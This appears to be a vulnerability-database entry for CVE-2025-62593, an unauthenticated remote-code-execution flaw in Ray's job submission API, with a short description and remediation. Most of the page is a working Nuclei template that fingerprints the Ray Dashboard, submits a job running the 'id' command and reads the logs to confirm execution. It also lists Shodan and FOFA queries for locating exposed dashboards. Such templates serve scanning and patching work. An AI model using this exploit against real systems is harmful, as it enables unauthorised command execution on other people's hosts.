CVE-2025-62593: Ray < 2.52.0 - Remote Code Execution

2026-09-28 Unknown PoC Public

Description

Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable.

PoC

id: CVE-2025-62593

info:
  name: Ray < 2.52.0 - Remote Code Execution
  author: Veraptos VaaS Alpha
  severity: critical
  description: |
    Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable.
  impact: |
    Unauthenticated attackers with network access to the Ray Dashboard can submit jobs that execute arbitrary commands on the host.
  remediation: |
    Upgrade Ray to version 2.52.0 or later and enable RAY_AUTH_MODE=token. Restrict dashboard access to trusted networks.
  reference:
    - https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v
    - https://github.com/projectdiscovery/nuclei-templates/issues/16961
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-62593
    epss-score: 0.62459
    epss-percentile: 0.99163
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: ray_project
    product: ray
    shodan-query:
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - icon_hash=463802404
      - body="ray dashboard"
  tags: cve,cve2025,rce,ray,kev,vkev

flow: http(1) && http(2)

variables:
  jobid: "1Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '<title>Ray Dashboard'
          - '/css/main.388a904b.css'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"entrypoint":"id","submission_id":"{{jobid}}"}

      - |
        GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: jobid
        regex:
          - 'uid=(\d+)'
# digest: 4a0a00473045022100e495978f05129460facc1ae7021a4745c8494663f7e2d69d991990734f6f0a860220222d34c14df4a8197994872e0ca0d703dbca5a55694f4c5247f9b2aae23a4d96:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.